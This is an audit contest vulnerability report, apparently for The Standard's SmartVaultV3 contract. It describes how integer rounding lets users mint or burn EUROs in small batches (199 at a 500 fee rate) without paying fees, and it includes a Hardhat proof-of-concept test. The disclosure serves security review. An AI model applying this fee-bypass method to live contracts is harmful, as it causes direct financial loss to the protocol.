The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: low
Valid

Mint EUROs or burn EUROs without paying minting or burning fee

Summary

Users can mint EUROs without paying minting fee. Normally if a user wants to mint EUROs by calling mint() in SmartVaultV3.sol, then he has to pay a fee i.e
uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();

This fee is calculated based on the mintFeeRate(). So for a mintFeeRate() of 500, we can generate 199 EUROs in a batch, without paying any fee. This is possible because of a rounding error that happens while calculating the fee. Similarly for a mintFeeRate() of 2000, we can generate 49 EUROs in a batch without paying any fee.

So if we select mint amount to be 199, and we know the mintFeeRate() to be 500, then the fee will be 0 , because
_amount * ISmartVaultManagerV3(manager).mintFeeRate() < ISmartVaultManagerV3(manager).HUNDRED_PC() i.e
uint256 fee = 199 * 500 / 100000, will be 0
So, we can continue minting EUROs in the batch of 199 EUROs , until we reach maxmintable limit, without paying any fee.

Similarly we can escape burning fee also, by making the fee to be 0 due to the rounding error.

Vulnerability Details

Here is the hardhat test for minting EUROs without paying any fee :

describe('Bypass minting fee', async () => {
it('Mint EUROs without paying minting fee', async () => {
const value = ethers.utils.parseEther("1");
await user.sendTransaction({to: Vault.address, value});
const eurobal1 = await EUROs.connect(user).balanceOf(user.address);
console.log("User's balance of EUROs (before mint) : ", eurobal1);
const bal1 = await EUROs.connect(protocol).balanceOf(protocol.address);
console.log("Protocol's balance of EUROs (before mint) : ",bal1);
await Vault.connect(user).mint(user.address, 199);
await Vault.connect(user).mint(user.address, 199);
// await Vault.connect(user).mint(user.address, 199);
// mint EUROs upto maxmintable() using batch of 199 for mintrate=500, without paying mint fee
const bal2 = await EUROs.connect(protocol).balanceOf(protocol.address);
console.log("Protocol's balance of EUROs (after mint ) : ",bal2);
const eurobal2 = await EUROs.connect(user).balanceOf(user.address);
console.log("User's balance of EUROs (after mint) : ", eurobal2);
});
});

Impact

This will mean direct financial loss to the protocol. The protocol will lose the minting and burning fee.
A user can borrow or repay without any fee.

Tools Used

Manual review

Recommendations

Prevent the rounding error

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

fee-loss

djxploit Submitter
over 1 year ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mint-precision

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.